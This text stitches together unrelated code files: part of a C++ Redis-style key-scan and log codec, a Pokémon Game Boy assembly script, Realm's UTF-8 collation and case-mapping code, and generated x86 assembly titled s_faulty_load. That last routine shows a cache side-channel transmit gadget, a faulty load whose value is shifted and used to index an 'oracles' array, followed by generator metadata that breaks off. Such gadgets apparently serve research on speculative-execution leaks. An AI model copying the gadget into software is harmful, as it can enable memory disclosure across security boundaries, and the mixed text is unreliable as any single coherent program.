InternalKey(ns_key, subkey_prefix, metadata.version, storage_->IsSlotIdEncoded()).Encode(&match_prefix_key);
} else {
InternalKey(ns_key, "", metadata.version, storage_->IsSlotIdEncoded()).Encode(&match_prefix_key);
}
std::string start_key;
if (!cursor.empty()) {
InternalKey(ns_key, cursor, metadata.version, storage_->IsSlotIdEncoded()).Encode(&start_key);
} else {
start_key = match_prefix_key;
}
for (iter->Seek(start_key); iter->Valid(); iter->Next()) {
if (!cursor.empty() && iter->key() == start_key) {
// if cursor is not empty, then we need to skip start_key
// because we already return that key in the last scan
continue;
}
if (!iter->key().starts_with(match_prefix_key)) {
break;
}
InternalKey ikey(iter->key(), storage_->IsSlotIdEncoded());
keys->emplace_back(ikey.GetSubKey().ToString());
if (values != nullptr) {
values->emplace_back(iter->value().ToString());
}
cnt++;
if (limit > 0 && cnt >= limit) {
break;
}
}
delete iter;
return rocksdb::Status::OK();
}
RedisType WriteBatchLogData::GetRedisType() {
return type_;
}
std::vector<std::string> *WriteBatchLogData::GetArguments() {
return &args_;
}
std::string WriteBatchLogData::Encode() {
std::string ret = std::to_string(type_);
for (size_t i = 0; i < args_.size(); i++) {
ret += " " + args_[i];
}
return ret;
}
Status WriteBatchLogData::Decode(const rocksdb::Slice &blob) {
std::string log_data = blob.ToString();
std::vector<std::string> args;
Util::Split(log_data, " ", &args);
type_ = static_cast<RedisType >(std::stoi(args[0]));
args_ = std::vector<std::string>(args.begin() + 1, args.end());
return Status::OK();
}
} // namespace Redis
|
OaksAideScript:
ld hl, OaksAideHiText
call PrintText
call YesNoChoice
ld a, [wCurrentMenuItem]
and a
jr nz, .choseNo
ld hl, wPokedexOwned
ld b, wPokedexOwnedEnd - wPokedexOwned
call CountSetBits
ld a, [wNumSetBits]
ldh [hOaksAideNumMonsOwned], a
ld b, a
ldh a, [hOaksAideRequirement]
cp b
jr z, .giveItem
jr nc, .notEnoughOwnedMons
.giveItem
ld hl, OaksAideHereYouGoText
call PrintText
ldh a, [hOaksAideRewardItem]
ld b, a
ld c, 1
call GiveItem
jr nc, .bagFull
ld hl, OaksAideGotItemText
call PrintText
ld a, OAKS_AIDE_GOT_ITEM
jr .done
.bagFull
ld hl, OaksAideNoRoomText
call PrintText
xor a ; OAKS_AIDE_BAG_FULL
jr .done
.notEnoughOwnedMons
ld hl, OaksAideUhOhText
call PrintText
ld a, OAKS_AIDE_NOT_ENOUGH_MONS
jr .done
.choseNo
ld hl, OaksAideComeBackText
call PrintText
ld a, OAKS_AIDE_REFUSED
.done
ldh [hOaksAideResult], a
ret
OaksAideHiText:
text_far _OaksAideHiText
text_end
OaksAideUhOhText:
text_far _OaksAideUhOhText
text_end
OaksAideComeBackText:
text_far _OaksAideComeBackText
text_end
OaksAideHereYouGoText:
text_far _OaksAideHereYouGoText
text_end
OaksAideGotItemText:
text_far _OaksAideGotItemText
sound_get_item_1
text_end
OaksAideNoRoomText:
text_far _OaksAideNoRoomText
text_end
|
/*************************************************************************
*
* Copyright 2016 Realm Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
**************************************************************************/
#include <algorithm>
#include <vector>
#ifdef _WIN32
#ifndef NOMINMAX
#define NOMINMAX
#endif
#include <windows.h>
#else
#include <ctype.h>
#endif
#include <realm/util/safe_int_ops.hpp>
#include <realm/unicode.hpp>
#include <clocale>
#ifdef _MSC_VER
#include <codecvt>
#else
#include <locale>
#endif
using namespace realm;
namespace {
std::wstring utf8_to_wstring(StringData str)
{
#if defined(_MSC_VER)
// __STDC_UTF_16__ seems not to work
static_assert(sizeof(wchar_t) == 2, "Expected Windows to use utf16");
std::wstring_convert<std::codecvt_utf8_utf16<wchar_t>> utf8conv;
auto w_result = utf8conv.from_bytes(str.data(), str.data() + str.size());
return w_result;
#else
// gcc 4.7 and 4.8 do not yet support codecvt_utf8_utf16 and wstring_convert, and note that we can NOT just use
// setlocale() + mbstowcs() because setlocale is extremely slow and may change locale of the entire user process
static_cast<void>(str);
REALM_ASSERT(false);
return L"";
#endif
}
} // unnamed namespace
namespace realm {
// Highest character currently supported for *sorting* strings in Realm, when using STRING_COMPARE_CPP11.
constexpr size_t last_latin_extended_2_unicode = 591;
bool set_string_compare_method(string_compare_method_t method, StringCompareCallback callback)
{
if (method == STRING_COMPARE_CPP11) {
#if !REALM_ANDROID
std::string l = std::locale("").name();
// We cannot use C locale because it puts 'Z' before 'a'
if (l == "C")
return false;
#else
// If Realm wasn't compiled as C++11, just return false.
return false;
#endif
}
else if (method == STRING_COMPARE_CALLBACK) {
string_compare_callback = callback;
}
// other success actions
string_compare_method = method;
return true;
}
// clang-format off
// Returns the number of bytes in a UTF-8 sequence whose leading byte is as specified.
size_t sequence_length(char lead)
{
// keep 'static' else entire array will be pushed to stack at each call
const static unsigned char lengths[256] = {
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 6, 6, 1, 1
};
return lengths[static_cast<unsigned char>(lead)];
}
// clang-format on
// Check if the next UTF-8 sequence in [begin, end) is identical to
// the one beginning at begin2. If it is, 'begin' is advanced
// accordingly.
inline bool equal_sequence(const char*& begin, const char* end, const char* begin2)
{
if (begin[0] != begin2[0])
return false;
size_t i = 1;
if (static_cast<int>(std::char_traits<char>::to_int_type(begin[0])) & 0x80) {
// All following bytes matching '10xxxxxx' will be considered
// as part of this character.
while (begin + i != end) {
if ((static_cast<int>(std::char_traits<char>::to_int_type(begin[i])) & (0x80 + 0x40)) != 0x80)
break;
if (begin[i] != begin2[i])
return false;
++i;
}
}
begin += i;
return true;
}
// Translate from utf8 char to unicode. No check for invalid utf8; may read out of bounds! Caller must check.
uint32_t utf8value(const char* character)
{
const unsigned char* c = reinterpret_cast<const unsigned char*>(character);
size_t len = sequence_length(c[0]);
uint32_t res = c[0];
if (len == 1)
return res;
res &= (0x3f >> (len - 1));
for (size_t i = 1; i < len; i++)
res = ((res << 6) | (c[i] & 0x3f));
return res;
}
// Returns bool(string1 < string2) for utf-8
bool utf8_compare(StringData string1, StringData string2)
{
const char* s1 = string1.data();
const char* s2 = string2.data();
// This collation_order array has 592 entries; one entry per unicode character in the range 0...591
// (upto and including 'Latin Extended 2'). The value tells what 'sorting order rank' the character
// has, such that unichar1 < unichar2 implies collation_order[unichar1] < collation_order[unichar2]. The
// array is generated from the table found at ftp://ftp.unicode.org/Public/UCA/latest/allkeys.txt. At the
// bottom of unicode.cpp you can find source code that reads such a file and translates it into C++ that
// you can copy/paste in case the official table should get updated.
//
// NOTE: Some numbers in the array are vere large. This is because the value is the *global* rank of the
// almost full unicode set. An optimization could be to 'normalize' all values so they ranged from
// 0...591 so they would fit in a uint16_t array instead of uint32_t.
//
// It groups all characters that look visually identical, that is, it puts `a, ‡, Â` together and before
// `¯, o, ˆ`. Note that this sorting method is wrong in some countries, such as Denmark where `Â` must
// come last. NOTE: This is a limitation of STRING_COMPARE_CORE until we get better such 'locale' support.
// clang-format off
static const uint32_t collation_order_core_similar[last_latin_extended_2_unicode + 1] = {
0, 1, 2, 3, 4, 5, 6, 7, 8, 456, 457, 458, 459, 460, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 461, 462, 463, 464, 8130, 465, 466, 467,
468, 469, 470, 471, 472, 473, 474, 475, 8178, 8248, 8433, 8569, 8690, 8805, 8912, 9002, 9093, 9182, 476, 477, 478, 479, 480, 481, 482, 9290, 9446, 9511, 9595, 9690, 9818, 9882, 9965, 10051, 10156, 10211, 10342, 10408, 10492, 10588,
10752, 10828, 10876, 10982, 11080, 11164, 11304, 11374, 11436, 11493, 11561, 483, 484, 485, 486, 487, 488, 9272, 9428, 9492, 9575, 9671, 9800, 9864, 9947, 10030, 10138, 10193, 10339, 10389, 10474, 10570, 10734, 10811, 10857, 10964, 11062, 11146, 11285, 11356,
11417, 11476, 11543, 489, 490, 491, 492, 27, 28, 29, 30, 31, 32, 493, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58,
494, 495, 8128, 8133, 8127, 8135, 496, 497, 498, 499, 9308, 500, 501, 59, 502, 503, 504, 505, 8533, 8669, 506, 12018, 507, 508, 509, 8351, 10606, 510, 8392, 8377, 8679, 511, 9317, 9315, 9329, 9353, 9348, 9341, 9383, 9545,
9716, 9714, 9720, 9732, 10078, 10076, 10082, 10086, 9635, 10522, 10615, 10613, 10619, 10640, 10633, 512, 10652, 11190, 11188, 11194, 11202, 11515, 11624, 11038, 9316, 9314, 9328, 9352, 9345, 9340, 9381, 9543, 9715, 9713, 9719, 9731, 10077, 10075, 10081, 10085,
9633, 10521, 10614, 10612, 10618, 10639, 10630, 513, 10651, 11189, 11187, 11193, 11199, 11514, 11623, 11521, 9361, 9360, 9319, 9318, 9359, 9358, 9536, 9535, 9538, 9537, 9542, 9541, 9540, 9539, 9620, 9619, 9626, 9625, 9744, 9743, 9718, 9717, 9736, 9735,
9742, 9741, 9730, 9729, 9909, 9908, 9907, 9906, 9913, 9912, 9915, 9914, 9989, 9988, 10000, 9998, 10090, 10089, 10095, 10094, 10080, 10079, 10093, 10092, 10091, 10120, 10113, 10112, 10180, 10179, 10240, 10239, 10856, 10322, 10321, 10326, 10325, 10324, 10323, 10340,
10337, 10328, 10327, 10516, 10515, 10526, 10525, 10520, 10519, 11663, 10567, 10566, 10660, 10659, 10617, 10616, 10638, 10637, 10689, 10688, 10901, 10900, 10907, 10906, 10903, 10902, 11006, 11005, 11010, 11009, 11018, 11017, 11012, 11011, 11109, 11108, 11104, 11103, 11132, 11131,
11215, 11214, 11221, 11220, 11192, 11191, 11198, 11197, 11213, 11212, 11219, 11218, 11401, 11400, 11519, 11518, 11522, 11583, 11582, 11589, 11588, 11587, 11586, 11027, 9477, 9486, 9488, 9487, 11657, 11656, 10708, 9568, 9567, 9662, 9664, 9667, 9666, 11594, 9774, 9779,
9784, 9860, 9859, 9937, 9943, 10014, 10135, 10129, 10266, 10265, 10363, 10387, 11275, 10554, 10556, 10723, 10673, 10672, 9946, 9945, 10802, 10801, 10929, 11653, 11652, 11054, 11058, 11136, 11139, 11138, 11141, 11232, 11231, 11282, 11347, 11537, 11536, 11597, 11596, 11613,
11619, 11618, 11621, 11645, 11655, 11654, 11125, 11629, 11683, 11684, 11685, 11686, 9654, 9653, 9652, 10345, 10344, 10343, 10541, 10540, 10539, 9339, 9338, 10084, 10083, 10629, 10628, 11196, 11195, 11211, 11210, 11205, 11204, 11209, 11208, 11207, 11206, 9773, 9351, 9350,
9357, 9356, 9388, 9387, 9934, 9933, 9911, 9910, 10238, 10237, 10656, 10655, 10658, 10657, 11616, 11615, 10181, 9651, 9650, 9648, 9905, 9904, 10015, 11630, 10518, 10517, 9344, 9343, 9386, 9385, 10654, 10653, 9365, 9364, 9367, 9366, 9752, 9751, 9754, 9753,
10099, 10098, 10101, 10100, 10669, 10668, 10671, 10670, 10911, 10910, 10913, 10912, 11228, 11227, 11230, 11229, 11026, 11025, 11113, 11112, 11542, 11541, 9991, 9990, 10557, 9668, 10731, 10730, 11601, 11600, 9355, 9354, 9738, 9737, 10636, 10635, 10646, 10645, 10648, 10647,
10650, 10649, 11528, 11527, 10382, 10563, 11142, 10182, 9641, 10848, 9409, 9563, 9562, 10364, 11134, 11048, 11606, 11660, 11659, 9478, 11262, 11354, 9769, 9768, 10186, 10185, 10855, 10854, 10936, 10935, 11535, 11534
};
static const uint32_t collation_order_core[last_latin_extended_2_unicode + 1] = {
0, 2, 3, 4, 5, 6, 7, 8, 9, 33, 34, 35, 36, 37, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 31, 38, 39, 40, 41, 42, 43, 29, 44, 45, 46, 76, 47, 30, 48, 49, 128, 132, 134, 137, 139, 140, 143, 144, 145, 146, 50, 51, 77, 78, 79, 52, 53, 148, 182, 191, 208, 229, 263, 267, 285, 295, 325, 333, 341, 360, 363, 385, 429, 433, 439, 454, 473, 491, 527, 531, 537, 539, 557, 54, 55, 56, 57, 58, 59, 147, 181, 190, 207,
228, 262, 266, 284, 294, 324, 332, 340, 359, 362, 384, 428, 432, 438, 453, 472, 490, 526, 530, 536, 538, 556, 60, 61, 62, 63, 28, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 32, 64, 72, 73, 74, 75, 65, 88, 66, 89, 149, 81, 90, 1, 91, 67, 92, 80, 136, 138, 68, 93, 94, 95, 69, 133, 386, 82, 129, 130, 131, 70, 153, 151, 157, 165, 575, 588, 570, 201, 233,
231, 237, 239, 300, 298, 303, 305, 217, 371, 390, 388, 394, 402, 584, 83, 582, 495, 493, 497, 555, 541, 487, 470, 152, 150, 156, 164, 574, 587, 569, 200, 232, 230, 236, 238, 299, 297, 302, 304, 216, 370, 389, 387, 393, 401, 583, 84, 581, 494, 492, 496, 554, 540, 486, 544, 163, 162, 161, 160, 167, 166, 193, 192, 197, 196, 195, 194, 199, 198, 210, 209, 212, 211, 245, 244, 243, 242, 235, 234, 247, 246, 241, 240, 273, 272, 277, 276, 271, 270, 279, 278, 287, 286, 291, 290, 313, 312, 311, 310, 309,
308, 315, 314, 301, 296, 323, 322, 328, 327, 337, 336, 434, 343, 342, 349, 348, 347, 346, 345, 344, 353, 352, 365, 364, 373, 372, 369, 368, 375, 383, 382, 400, 399, 398, 397, 586, 585, 425, 424, 442, 441, 446, 445, 444, 443, 456, 455, 458, 457, 462, 461, 460, 459, 477, 476, 475, 474, 489, 488, 505, 504, 503, 502, 501, 500, 507, 506, 549, 548, 509, 508, 533, 532, 543, 542, 545, 559, 558, 561, 560, 563, 562, 471, 183, 185, 187, 186, 189, 188, 206, 205, 204, 226, 215, 214, 213, 218, 257, 258, 259,
265, 264, 282, 283, 292, 321, 316, 339, 338, 350, 354, 361, 374, 376, 405, 421, 420, 423, 422, 431, 430, 440, 468, 467, 466, 469, 480, 479, 478, 481, 524, 523, 525, 528, 553, 552, 565, 564, 571, 579, 578, 580, 135, 142, 141, 589, 534, 85, 86, 87, 71, 225, 224, 223, 357, 356, 355, 380, 379, 378, 159, 158, 307, 306, 396, 395, 499, 498, 518, 517, 512, 511, 516, 515, 514, 513, 256, 174, 173, 170, 169, 573, 572, 281, 280, 275, 274, 335, 334, 404, 403, 415, 414, 577, 576, 329, 222, 221, 220, 269,
268, 293, 535, 367, 366, 172, 171, 180, 179, 411, 410, 176, 175, 178, 177, 253, 252, 255, 254, 318, 317, 320, 319, 417, 416, 419, 418, 450, 449, 452, 451, 520, 519, 522, 521, 464, 463, 483, 482, 261, 260, 289, 288, 377, 227, 427, 426, 567, 566, 155, 154, 249, 248, 409, 408, 413, 412, 392, 391, 407, 406, 547, 546, 358, 381, 485, 326, 219, 437, 168, 203, 202, 351, 484, 465, 568, 591, 590, 184, 510, 529, 251, 250, 331, 330, 436, 435, 448, 447, 551, 550
};
// clang-format on
bool use_internal_sort_order =
(string_compare_method == STRING_COMPARE_CORE) || (string_compare_method == STRING_COMPARE_CORE_SIMILAR);
if (use_internal_sort_order) {
// Core-only method. Compares in us_EN locale (sorting may be slightly inaccurate in some countries). Will
// return arbitrary return value for invalid utf8 (silent error treatment). If one or both strings have
// unicodes beyond 'Latin Extended 2' (0...591), then the strings are compared by unicode value.
uint32_t char1;
uint32_t char2;
do {
size_t remaining1 = string1.size() - (s1 - string1.data());
size_t remaining2 = string2.size() - (s2 - string2.data());
if ((remaining1 == 0) != (remaining2 == 0)) {
// exactly one of the strings have ended (not both or none; xor)
return (remaining1 == 0);
}
else if (remaining2 == 0 && remaining1 == 0) {
// strings are identical
return false;
}
// invalid utf8
if (remaining1 < sequence_length(s1[0]) || remaining2 < sequence_length(s2[0]))
return false;
char1 = utf8value(s1);
char2 = utf8value(s2);
if (char1 == char2) {
// Go to next characters for both strings
s1 += sequence_length(s1[0]);
s2 += sequence_length(s2[0]);
}
else {
// Test if above Latin Extended B
if (char1 > last_latin_extended_2_unicode || char2 > last_latin_extended_2_unicode)
return char1 < char2;
const uint32_t* internal_collation_order = collation_order_core;
if (string_compare_method == STRING_COMPARE_CORE_SIMILAR) {
internal_collation_order = collation_order_core_similar;
}
uint32_t value1 = internal_collation_order[char1];
uint32_t value2 = internal_collation_order[char2];
return value1 < value2;
}
} while (true);
}
else if (string_compare_method == STRING_COMPARE_CPP11) {
// C++11. Precise sorting in user's current locale. Arbitrary return value (silent error) for invalid utf8
std::wstring wstring1 = utf8_to_wstring(string1);
std::wstring wstring2 = utf8_to_wstring(string2);
std::locale l = std::locale("");
bool ret = l(wstring1, wstring2);
return ret;
}
else if (string_compare_method == STRING_COMPARE_CALLBACK) {
// Callback method
bool ret = string_compare_callback(s1, s2);
return ret;
}
REALM_ASSERT(false);
return false;
}
// Here is a version for Windows that may be closer to what is ultimately needed.
/*
bool case_map(const char* begin, const char* end, StringBuffer& dest, bool upper)
{
const int wide_buffer_size = 32;
wchar_t wide_buffer[wide_buffer_size];
dest.resize(end-begin);
size_t dest_offset = 0;
for (;;) {
int num_out;
// Decode
{
size_t num_in = end - begin;
if (size_t(32) <= num_in) {
num_out = MultiByteToWideChar(CP_UTF8, MB_ERR_INVALID_CHARS, begin, 32, wide_buffer, wide_buffer_size);
if (num_out != 0) {
begin += 32;
goto convert;
}
if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) return false;
}
if (num_in == 0) break;
int n = num_in < size_t(8) ? int(num_in) : 8;
num_out = MultiByteToWideChar(CP_UTF8, MB_ERR_INVALID_CHARS, begin, n, wide_buffer, wide_buffer_size);
if (num_out != 0) {
begin += n;
goto convert;
}
return false;
}
convert:
if (upper) {
for (int i=0; i<num_out; ++i) {
CharUpperW(wide_buffer + i);
}
}
else {
for (int i=0; i<num_out; ++i) {
CharLowerW(wide_buffer + i);
}
}
encode:
{
size_t free = dest.size() - dest_offset;
if (int_less_than(std::numeric_limits<int>::max(), free)) free = std::numeric_limits<int>::max();
int n = WideCharToMultiByte(CP_UTF8, WC_ERR_INVALID_CHARS, wide_buffer, num_out,
dest.data() + dest_offset, int(free), 0, 0);
if (i != 0) {
dest_offset += n;
continue;
}
if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) return false;
size_t dest_size = dest.size();
if (int_multiply_with_overflow_detect(dest_size, 2)) {
if (dest_size == std::numeric_limits<size_t>::max()) return false;
dest_size = std::numeric_limits<size_t>::max();
}
dest.resize(dest_size);
goto encode;
}
}
dest.resize(dest_offset);
return true;
}
*/
// Converts UTF-8 source into upper or lower case. This function
// preserves the byte length of each UTF-8 character in following way:
// If an output character differs in size, it is simply substituded by
// the original character. This may of course give wrong search
// results in very special cases. Todo.
util::Optional<std::string> case_map(StringData source, bool upper)
{
std::string result;
result.resize(source.size());
#if defined(_WIN32)
const char* begin = source.data();
const char* end = begin + source.size();
auto output = result.begin();
while (begin != end) {
int n = static_cast<int>(sequence_length(*begin));
if (n == 0 || end - begin < n)
return util::none;
wchar_t tmp[2]; // FIXME: Why no room for UTF-16 surrogate
int n2 = MultiByteToWideChar(CP_UTF8, MB_ERR_INVALID_CHARS, begin, n, tmp, 1);
if (n2 == 0)
return util::none;
REALM_ASSERT(n2 == 1);
tmp[n2] = 0;
// Note: If tmp[0] == 0, it is because the string contains a
// null-chacarcter, which is perfectly fine.
wchar_t mapped_tmp[2];
LCMapStringEx(LOCALE_NAME_INVARIANT, upper ? LCMAP_UPPERCASE : LCMAP_LOWERCASE, tmp, 1, mapped_tmp, 2,
nullptr, nullptr, 0);
// FIXME: The intention is to use flag 'WC_ERR_INVALID_CHARS'
// to catch invalid UTF-8. Even though the documentation says
// unambigously that it is supposed to work, it doesn't. When
// the flag is specified, the function fails with error
// ERROR_INVALID_FLAGS.
DWORD flags = 0;
int n3 = WideCharToMultiByte(CP_UTF8, flags, mapped_tmp, 1, &*output, static_cast<int>(end - begin), 0, 0);
if (n3 == 0 && GetLastError() != ERROR_INSUFFICIENT_BUFFER)
return util::none;
if (n3 != n) {
realm::safe_copy_n(begin, n, output); // Cannot handle different size, copy source
}
begin += n;
output += n;
}
return result;
#else
// FIXME: Implement this! Note that this is trivial in C++11 due
// to its built-in support for UTF-8. In C++03 it is trivial when
// __STDC_ISO_10646__ is defined. Also consider using ICU. Maybe
// GNU has something to offer too.
// For now we handle just the ASCII subset
typedef std::char_traits<char> traits;
if (upper) {
size_t n = source.size();
for (size_t i = 0; i < n; ++i) {
char c = source[i];
if (traits::lt(0x60, c) && traits::lt(c, 0x7B))
c = traits::to_char_type(traits::to_int_type(c) - 0x20);
result[i] = c;
}
}
else { // lower
size_t n = source.size();
for (size_t i = 0; i < n; ++i) {
char c = source[i];
if (traits::lt(0x40, c) && traits::lt(c, 0x5B))
c = traits::to_char_type(traits::to_int_type(c) + 0x20);
result[i] = c;
}
}
return result;
#endif
}
std::string case_map(StringData source, bool upper, IgnoreErrorsTag)
{
return case_map(source, upper).value_or("");
}
// If needle == haystack, return true. NOTE: This function first
// performs a case insensitive *byte* compare instead of one whole
// UTF-8 character at a time. This is very fast, but not enough to
// guarantee that the strings are identical, so we need to finish off
// with a slower but rigorous comparison. The signature is similar in
// spirit to std::equal().
bool equal_case_fold(StringData haystack, const char* needle_upper, const char* needle_lower)
{
for (size_t i = 0; i != haystack.size(); ++i) {
char c = haystack[i];
if (needle_lower[i] != c && needle_upper[i] != c)
return false;
}
const char* begin = haystack.data();
const char* end = begin + haystack.size();
const char* i = begin;
while (i != end) {
if (!equal_sequence(i, end, needle_lower + (i - begin)) &&
!equal_sequence(i, end, needle_upper + (i - begin)))
return false;
}
return true;
}
// Test if needle is a substring of haystack. The signature is similar
// in spirit to std::search().
size_t search_case_fold(StringData haystack, const char* needle_upper, const char* needle_lower, size_t needle_size)
{
// FIXME: This solution is very inefficient. Consider deploying the Boyer-Moore algorithm.
size_t i = 0;
while (needle_size <= haystack.size() - i) {
if (equal_case_fold(haystack.substr(i, needle_size), needle_upper, needle_lower)) {
return i;
}
++i;
}
return haystack.size(); // Not found
}
/// This method takes an array that maps chars (both upper- and lowercase) to distance that can be moved
/// (and zero for chars not in needle), allowing the method to apply Boyer-Moore for quick substring search
/// The map is calculated in the StringNode<ContainsIns> class (so it can be reused across searches)
bool contains_ins(StringData haystack, const char* needle_upper, const char* needle_lower, size_t needle_size, const std::array<uint8_t, 256> &charmap)
{
if (needle_size == 0)
return haystack.size() != 0;
// Prepare vars to avoid lookups in loop
size_t last_char_pos = needle_size-1;
unsigned char lastCharU = needle_upper[last_char_pos];
unsigned char lastCharL = needle_lower[last_char_pos];
// Do Boyer-Moore search
size_t p = last_char_pos;
while (p < haystack.size()) {
unsigned char c = haystack.data()[p]; // Get candidate for last char
if (c == lastCharU || c == lastCharL) {
StringData candidate = haystack.substr(p-needle_size+1, needle_size);
if (equal_case_fold(candidate, needle_upper, needle_lower))
return true; // text found!
}
// If we don't have a match, see how far we can move char_pos
if (charmap[c] == 0)
p += needle_size; // char was not present in search string
else
p += charmap[c];
}
return false;
}
bool string_like_ins(StringData text, StringData upper, StringData lower) noexcept
{
if (text.is_null() || lower.is_null()) {
return (text.is_null() && lower.is_null());
}
return StringData::matchlike_ins(text, lower, upper);
}
bool string_like_ins(StringData text, StringData pattern) noexcept
{
if (text.is_null() || pattern.is_null()) {
return (text.is_null() && pattern.is_null());
}
std::string upper = case_map(pattern, true, IgnoreErrors);
std::string lower = case_map(pattern, false, IgnoreErrors);
return StringData::matchlike_ins(text, lower.c_str(), upper.c_str());
}
} // namespace realm
/*
// This is source code for generating the table in utf8_compare() from an allkey.txt file:
// Unicodes up to and including 'Latin Extended 2' (0...591)
std::vector<int64_t> order;
order.resize(last_latin_extended_2_unicode + 1);
std::string line;
std::ifstream myfile("d:/allkeys.txt");
// Read header text
for (size_t t = 0; t < 19; t++)
getline(myfile, line);
// Read payload
for (size_t entry = 0; getline(myfile, line); entry++)
{
string str = line.substr(0, 4);
int64_t unicode = std::stoul(str, nullptr, 16);
if (unicode < order.size())
order[unicode] = entry;
}
// Emit something that you can copy/paste into the Core source code in unicode.cpp
cout << "static const uint32_t collation_order[] = {";
for (size_t t = 0; t < order.size(); t++) {
if (t > 0 && t % 40 == 0)
cout << "\n";
cout << order[t] << (t + 1 < order.size() ? ", " : "");
}
cout << "};";
myfile.close();
*/
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r15
push %r8
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x162f9, %r15
and $23156, %r13
mov (%r15), %cx
nop
nop
nop
xor $33492, %r12
lea addresses_A_ht+0xe97, %rsi
lea addresses_WT_ht+0x18f57, %rdi
nop
xor $51104, %r8
mov $10, %rcx
rep movsw
nop
add $42267, %rdi
lea addresses_A_ht+0x6797, %rsi
lea addresses_WC_ht+0x2adf, %rdi
nop
nop
and %rbp, %rbp
mov $124, %rcx
rep movsw
nop
nop
nop
nop
nop
cmp %rsi, %rsi
lea addresses_A_ht+0x5f97, %r13
nop
nop
nop
nop
nop
xor $38379, %rbp
mov (%r13), %rsi
nop
nop
nop
nop
nop
dec %r12
lea addresses_WC_ht+0x17637, %rsi
lea addresses_WT_ht+0xc417, %rdi
sub $53052, %r8
mov $24, %rcx
rep movsb
nop
nop
nop
cmp %r12, %r12
lea addresses_WT_ht+0x3bf7, %r8
nop
nop
nop
nop
and %rcx, %rcx
mov (%r8), %r15w
and %rbp, %rbp
lea addresses_normal_ht+0xa197, %rsi
lea addresses_D_ht+0x1ec97, %rdi
clflush (%rsi)
clflush (%rdi)
nop
add %r12, %r12
mov $121, %rcx
rep movsb
nop
nop
nop
nop
nop
cmp %rbp, %rbp
lea addresses_UC_ht+0x19797, %rsi
lea addresses_WC_ht+0x1c917, %rdi
nop
nop
nop
nop
nop
add $59737, %r8
mov $49, %rcx
rep movsq
nop
nop
and %rsi, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r15
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r13
push %r14
push %r9
push %rbx
push %rdx
// Load
mov $0x7d7, %r9
nop
nop
nop
cmp $27616, %r14
vmovaps (%r9), %ymm7
vextracti128 $1, %ymm7, %xmm7
vpextrq $1, %xmm7, %rbx
cmp %rbx, %rbx
// Store
lea addresses_RW+0x10f29, %rbx
nop
and $58438, %r10
mov $0x5152535455565758, %r11
movq %r11, %xmm2
vmovups %ymm2, (%rbx)
nop
inc %rbx
// Faulty Load
lea addresses_UC+0x13797, %r11
nop
nop
inc %rdx
mov (%r11), %r14w
lea oracles, %r10
and $0xff, %r14
shlq $12, %r14
mov (%r10,%r14,1), %r14
pop %rdx
pop %rbx
pop %r9
pop %r14
pop %r13
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': True, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_UC'}, 'OP': 'LOAD'}
{'src': {'congruent': 4, 'AVXalign': True, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_P'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_RW'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 2, 'NT': False, 'type': 'addresses_UC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 6, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_WT_ht'}}
